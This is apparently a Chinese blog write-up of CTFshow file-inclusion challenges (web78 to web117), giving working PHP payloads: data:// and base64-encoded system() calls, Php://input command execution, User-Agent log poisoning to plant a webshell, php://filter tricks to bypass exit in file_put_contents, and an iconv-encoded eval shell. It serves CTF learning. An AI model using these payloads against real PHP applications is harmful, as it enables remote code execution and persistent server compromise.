CTFSHOW-文件包含13题

web78题

image.png
传入file 值 ,然后include 包含传入的file
image.png
发现打不开 ,靠 ,可能是过滤了,但是是能读/etc/passwd
image.png
使用php://filter 伪协议读取 flag

还有一种 data协议读取执行命令读取flag

data://text/plain,<?php system('ls');?>
data://text/plain,<?php system('cat flag.???');?>

cat flag
image.png

web79 题 data命令执行 Php://input 命令执行

image.png
过滤了php 然后替换为 ???
使用data ,base编码来命令执行

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==   //<?php system('ls');  不需要加后面?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

image.png
image.png

也可以直接使用 data://text/plain,
读取flag的时候 是使用linux 命令 他反而把php替换为??? 也是可以读取flag的 ,

data://text/plain,<=system('cat flag.php');

image.png

关于 <=
https://blog.csdn.net/hsd2012/article/details/51194554?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-2-51194554-blog-100028185.pc_relevant_vip_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-2-51194554-blog-100028185.pc_relevant_vip_default&utm_relevant_index=3

<?php ?> :php默认的开始、结束标签 <? ?> :需要开启short_open_tag ,即short_open_tag = On。
<%%> :需要开启asp_tags ,即asp_tags = On。
<?= ?> :用于输出,等同于- 可以直接使用 <%= %> :用于输出,等同于- ,
需要开启asp_tags ,才可以使用 short_open_tag控制的是<? ?>标签。
而并非<?= ?>标签,<?= ?>标签用于输出变量。
当开启short_open_tag,<? ?> 功能和<?php ?> 一样。 php中代码开始标志类型(,,,<% %>,<%= %>)

F12 直接查看flag

Php:input 命令执行

这里过滤了php 只是匹配到替换 ,但是没有识别大小写

POST /?file=Php://input HTTP/1.1

<?Php system("cat flag.php");?>
POST /?file=Php://input HTTP/1.1
Host: 3135e7ab-e862-4755-a937-c4959f02acec.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 31

<?Php system("cat flag.php");?>

image.png

web80题

image.png
过滤了data
使用Php://input

image.png

web81 题

文件包含写日志
user-agetn 可以写一句话
image.png
然后去连接

http://1ceb12db-057f-4c42-81aa-faca3d301d6e.challenge.ctf.show/?file=/var/log/nginx/access.log
密码1 

image.png
image.png

web87 题 file_put_contents 死亡绕过 exit

image.png
将content参数的值写入到urldecode的file参数所定义的文件里,但是一同写入的还有die,导致即使我们成功写入一句话,也执行不了,所以我们要想法绕过die,去执行我们所写入的一句话,
file 这里使用php://filter 去写入 文件 ,使用解码功能

php://filter/wiret=convert.base64-decode/resource=1.php

然后进行双重url编码
image.png
这个URl encode 点两次

%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

然后connet的值是要base64 编码的
image.png
image.png
然后去访问1.php 成功解析
image.png

web 88 题 没有过滤 ; ,

data 协议

data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg  
但是这里过滤了 =

直接去掉 = 号
image.png

web116 题

打开是视频文件 ,下载下来然后分离 出现 代码审计
直接 file = flag.php 出现flag
image.png

web117 题

image.png
和87 题差不多 ,但是这里过滤base64 rot13 那想着使用其他的加密

?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=5.php
POST: 
contents=?<hp pvela$(G_TE'['a)] ;>?
contents=?<hp pvela$(P_SO[T]1;)>?

image.png
shell 直接连接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值